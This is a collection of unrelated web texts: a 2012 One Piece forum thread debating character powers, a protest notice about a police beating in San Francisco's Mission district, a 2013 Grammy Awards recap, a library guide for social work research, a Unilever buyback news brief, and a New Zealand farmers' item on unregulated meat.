Age: 32
EDIT: Just thought of one. Although haki can damage Smoker despite being in smoke form, it does not stop his smoke from being, well, smoke. Which is how he recovered Law's heart without Vergo noticing.
|2012-11-29, 14:10
|Link #90
Join Date: Dec 2004
Buggy hating.. nothing new to see here
|2012-11-29, 14:58
|Link #91
Sawa-Chan <3 <3 <3
Join Date: Dec 2004
Great chapter.
In terms of the fight, imo there are a few possibilities,
1) Vergo basically underestimated Law's ability/strength and was overpowered by his ability. He was probably like i will charge at him and beat him and won't (need to) dodge his attack. He paid the price by getting cut. If this is the case, then maybe if he didn't underestimate law the fight would have been longer and the winner unknown.
2) Maybe Vergo isn't/wasn't all that. I think in previous chapter discussion other also mentioned this too. Most trusted doesn't have to mean strongest.
3) Law is currently very strong ( back to 1 kinda). Vergo is still at the top in terms of strength but Law is just much stronger. If that's the case i wouldn't be surprised if the current Law was stronger than Luffy at this time at least. I don't think Luffy can use Haki defense on spot ( or on his whole body) defensively ( or at least in an efficient way) yet. At least based on the fishmen Island thus far.
4) Law's ability is just one of those broken one. If you get hit by it you are basically done for until it's undone or maybe other ways to revert back i don't know. In this scenario Luffy ( or others) maybe could still dodge the abilities. Something like Vergo vs Smoker fight. Law got the heart and it was that, but it took him a while to do that. Most likely Smoker was dodging/defending against it. but i guess Luffy could do the same since he is super fast. So in this case we wouldn't really know who is stronger law or luffy
Lastly, Could vergo also have an ability to revert back? Or maybe there are ways you can revert back abilities *_*. Although i do agree that the fight is probably finished, i am still having my fingers crossed until next chapter.
P.S. When you have a One piece chapter thread having more posts than a Naruto one, you know the chapter was just that great haha .
|2012-11-29, 15:59
|Link #92
Senior Member
Join Date: Sep 2010
Location: cali
One thought on so called power rankings.
Its more like rock, paper scissors. Some powers match poorly against others. Luffy vs. Enel is a good example. Additionally, some characters have evolved the use of their powers differently, various uses of haki is a good example (how roger used the gum-gum fruit will be another....jk!). I'm sure we will see and have already seen fruits or abilities which would take down Law as "easily" as he took down Vergo. I'm actually a little surprised Vergo didn't quickly jump over to kick Law in the head like he did before, he must have been distracted or over-confident or something.
What kind of things will counter Donflamingo's ability? The may be a "reach" issue but damn he's strong...
|2012-11-29, 18:08
|Link #93
Kamen Rider Muppeteer
Join Date: Jan 2012
Location: Unknown
Age: 32
I do believe I ALSO mentioned that Buggy can still separate himself -before- he is attacked. Not to mention, should he learn to use haki himself, this would complicate matters even further.
So I'm not quite sure where you get the ludicrous idea that I am hating on Buggy.
|2012-11-29, 19:17
|Link #94
In the eye of the storm
Join Date: Feb 2010
But man, Luffy and Law formed an alliance and they already managed to piss off two of the most powerful people/groups in the world - things sure are going to get interesting!
Somehow, I don't think Doflamingo will be that affected by the events at Punk Hazard - he didn't become (and stay) the king of the underground without being extremely smart (he's bound to have a contingency plan). His displeased face most likely means lots of trouble for Law and the Straw Hats by extension (just like Ceasar said) instead of him worrying.
|2012-11-29, 19:46
|Link #95
Senior Member
Join Date: Sep 2010
Location: cali
It would be disappointing if Donflamingo is ultimately brought down ala Crocodile and Moria. Always thought of him as an internal underground king pin who always manages to survive and keep massive influence. Thats a personal opinion, i'm a fan of his. From the sounds of it, Law made a direct challenge to Donflamingo so they are likely going to battle.
|2012-11-30, 04:07
|Link #96
( ಠ_ಠ)
Join Date: Jul 2006
Location: Somewhere, between the sacred silence and sleep
Some fruits may act retroactively, and not proactively. Marco and Buggy are the two that comes to mind.
Rubber DF as well as logias work proactively, to try and prevent damage to the body from happening.
Marco's work retroactively, as in, it doesn't stop him from getting hurt, it simply heals him afterwards.
So haki or no haki wouldn't really matter, since either way you're still inflicting damage to him.
Buggy's body may work the same way. It doesn't prevent him from getting cut, it simply doesn't take any injuries from the cut.
|2012-11-30, 05:00
|Link #97
I never hid my hurts.
Join Date: May 2012
Location: Where the wild things are--Hell.
Really? because to me, it just looks like Buggy's powers are in a way, half Logia, half paramecia. He can split his body when/where/ how he wants, making him a paramecia. But he can also avoid slashes and attacks like that the same way a Logia could. Also, even if Haki were to be used, it'd still mean the attack would have to land to be Super effective. And finally, which Haki exactly would be super effective Vs Buggy? Armament or Observation? (King's Haki is a given since Buggy is fairly weak willed)
|2012-11-30, 05:09
|Link #98
( ಠ_ಠ)
Join Date: Jul 2006
Location: Somewhere, between the sacred silence and sleep
Logia defensive mechanism is, as stated by Oda, to prevent the hits from landing on the user's real body.
Haki enables the fighter to bypass this and land their hit on the opponent.
Whereas, this is not the case with Buggy.
Regardless of who is attacking, the hits always land on Buggy's body regardless.
The ability here is that there's no impediment to his bodily functions from being cut.
So to simplify:
Logia = prevents real body from being cut
Bara Bara = can be cut, but prevents damage from the cut.
and extra:
Phoenix = can be cut, but restores damage from the cut.
That's a significant difference.
|2012-11-30, 08:50
|Link #100
Senior Member
Join Date: Sep 2010
Location: cali
Given the finality in the tone of the Law's speech and the impending doom of shinokuni entering the lab, will Vergo have time to attack Law? Law might slice him up some more and leave him in a million slices since he should still be able to fight, a la Kinnemon torso.
Seeing Law cut a mountain does raise interest as to how much Zoro has grown. Gotta hand it to Zoro for showing that he could finish a battle without going all out. Can't wait to see him match up against a top notch fighter.
Next chapters may reveal Law's submarine..
|Thread Tools


text:
No to Police Violence in the Mission!
On Jan. 24 at 24th and Mission Sts., the Mission community witnessed the brutal beating of an 18-year-old African American CCSF student, Kevin Clark, by SFPD.
The incident was videotaped by passersby. It is extremely hard to watch, but we ask that you witness it, send to your contacts and help us get the word out for this emergency protest rally:
The gentrification of the Mission district is pushing out the working-class communities of color, and the police are increasing their harassment and brutality against the people. Join us for a rally at 24th & Mission where we will march through the community and have a press conference in front of the 17th and Valencia St. police station to say: "We will not tolerate violence against our youth and community!"


text:
The Pop-Rock trio fun. was also a big winner, scoring Song of the Year for their #1 hit "We Are Young," as well as Best New Artist (despite Some Nights being the group's second album). fun. also performed a (fake) rain-soaked version of "Carry On."
The Black Keys picked up four Grammys in total. The duo played live, backed by Dr. John and the Preservation Hall Jazz Band, and picked up the Grammy for Best Rock Performance and Best Rock Song, both for "Lonely Boy," while singer/guitarist Dan Auerbach was named Best Producer. Their album El Camino was also named Best Rock Album.
Record of the Year went to "Somebody That I Used To Know," the massive smash from Gotye featuring Kimbra. The tune also won for Best Pop Duo/Group Performance. Gotye's album Making Mirrors also won for Best Alternative Album. After dominating last year's Grammys, Adele won this year for Best Pop Solo Performance for a live version of "Set Fire To The Rain." Kelly Clarkson's Stronger won Best Pop Vocal Album.
Paul McCartney added another Grammy to his collection with Best Traditional Pop Vocal Album for Kisses On The Bottom. McCartney's win helped his label, Concord Music Group, earn the most Grammys of any label this year. Halestorm won Best Hard Rock/Metal Performance for their single, "Love Bites (So Do I)."
The critically lauded Frank Ocean won Best Urban Contemporary Album for Channel Orange and performed "Forrest Gump" near the end of the broadcast. Jay-Z & Kanye West picked up three Grammys for tracks off their massive Watch The Throne collaboration. Drake's Take Care was named Best Rap Album.
Bruno Mars and his band led an all-star collaborative performance, as Sting joined him for a no-brainer team-up on Mars' Police sound-alike hit "Locked Out Of Heaven," before moving on to duetting on a bit of the Police classic "Walking On The Moon." They were then joined by Rihanna and Damian & Ziggy Marley for a tribute to Bob Marley with "Could You Be Loved."
Jack White walked away empty-handed at the Grammys but had one of the most electrifying performances of the night, bringing out both his all-female and all-male bands for "Love Interruption" and "Freedom At 21," respectively.
Taylor Swift opened up the show with a surreal, Alice In Wonderland-goes-to-the-carnival take on "We Are Never Ever Getting Back Together." Swift also won a pre-show Grammy for "Safe & Sound," her collaboration with The Civil Wars for The Hunger Games soundtrack. The evening ended on a completely different note, with Grammy host LL Cool J teaming with Public Enemy's Chuck D, DJ Z-Trip, guitar great Tom Morello and super-drummer Travis Barker for a new song, "Whaddup." The performance featured a brief breakdown into the Beastie Boys' "No Sleep Til Brooklyn," to honor the late Adam "MCA" Yauch. Rolling Stone reports that "Whaddup" is from an upcoming project between LL Cool J and Z-Trip.
Other notable performances from the evening included Elton John and Ed Sheeran duetting on Sheeran's single "The A Team," Rihanna singing the ballad "Stay" with a cameo from singer Mikky Ekko, Kelly Clarkson's tribute to Patty Page and Carole King, and Carrie Underwood, whose magic, projection-screen dress stole the show out from under her while singing "Blown Away."
Additionally, the 2013 Grammys garnered the second-best ratings for the annual awards show since 1993. Nielsen reports that 28.37 million viewers tuned in Sunday night for the Grammys, with 12.9 million viewers aged 18-49, the best numbers for that demographic since 2004. Overall ratings were up seven percent compared to last year's Grammy telecast.
Nicki Farag, SVP of Promotion, Def Jam Recordings
Copyright © 2017 Friday Morning Quarterback Album Report, Inc. and Mediaspan Online Services - All Rights Reserved
Contact: Mediaspan Online Services
FMQB, 1930 East Marlton Pike, Executive Mews, Suite F-36, Cherry Hill, NJ 08003. (856) 424-9114.


text:
Welcome to the Library Guide on Social Work
This guide provides basic information on getting started with library research in the field of social work.
- The "Find Books and Media" tab provides a brief description of the library's catalog
- The "Find Articles" tab provides links to two databases specific to the field of social work, then links to general databases, and then specialized databases. You will need to scroll down on this page to view all of them. Databases let you enter a topic to receive a list of articles that have been published in academic journals, magazines, and newspapers about the topic.
- The "Reference" tab provides a list of print and online reference titles, including encyclopedias, dictionaries, statistical compilations, and other sources intended to let you look up facts or obtain quick background information.
- The "Websites" tab provides a brief list of websites that are maintained by various sociological organizations and associations.
- The "Cite Your Sources" tab provides links to the author-date citation style set forth in the Publication Manual of the American Psychological Association and to a short guide that can help you document the souces of information that you have used for papers and projects.
Please note that this guide is not comprehensive, but rather as a pretty good, quick start for research help. The Library's reference staff is always pleased to assist you in the use of any of the library's resources and services and can help you with assignments and term papers.
Contact Info
Head of Cataloging
J. Eugene Smith Library
Eastern Connecticut State University
83 Windham Street
Willimantic, CT 06226
Send Email
Subject Guide


text:
US: Unilever buys back shares
Unilever said yesterday (1 May) that it has purchased 600,000 ordinary shares as part of its buyback programme to return value to investors.
Get full access to all content, just $1 for 30 days
A Message From The Editor
just-food gives you the widest food market coverage.
Paid just-food members have unlimited access to all our exclusive content - including 17 years of archives.
I am so confident you will love complete access to our content that today I can offer you 30 days access for $1.
It's our best ever membership offer – just for you.
Dean Best, editor of just-food
Dean's offer to you
Risk-free, money-back guarantee
Most Popular
- Analysis: Stonyfield race not yet run
- US food next wave on display at Winter Fancy Food
- The small can be powerful in Australia - analysis
- Who will buy Danone's Stonyfield business?
- Column: Why snacking is the new meal
- Lactalis set to acquire German dairy Omira
- Leonardo Di Caprio invests in Hippeas
- Brazil meat giant JBS 'plans assets sale'
- Brazil President takes aim at JBS bosses
- Ferrero to launch Kinder egg variant in US
Market research


text:
Since March Federated Farmers' Rural Butchers Executive, representing home-kill operators and dual operator butchers, has been working with the Ministry for Primary Industries' (MPI) Working Group on Unregulated Meat. This is a stakeholder group looking at the issues around the unregulated meat sector.
The Federation strongly supports efforts to prevent any illegal activity, such as the sale of unregulated, or home-killed, meat. The group is looking at education and gaining a better understanding of the problem's extent, so verification activities and other resources can be used to best effect.
A modus operandi is also being developed for the Dual Operator Butcher sector, addressing factors affecting consistency of verification, interpretation and application of New Zealand standards. It will help ensure the consistent application of compliance nationally. Rural Butchers Executive members will be better placed to help members with any MPI compliance issues.
The group's 2013 conference will be held in Timaru on Saturday, August 24, with field trips the day before and after. For more information, contact chairman Mike Hanson on 027 269 4133, or at firstname.lastname@example.com, or David Burt on 0800 327 646, or firstname.lastname@example.com.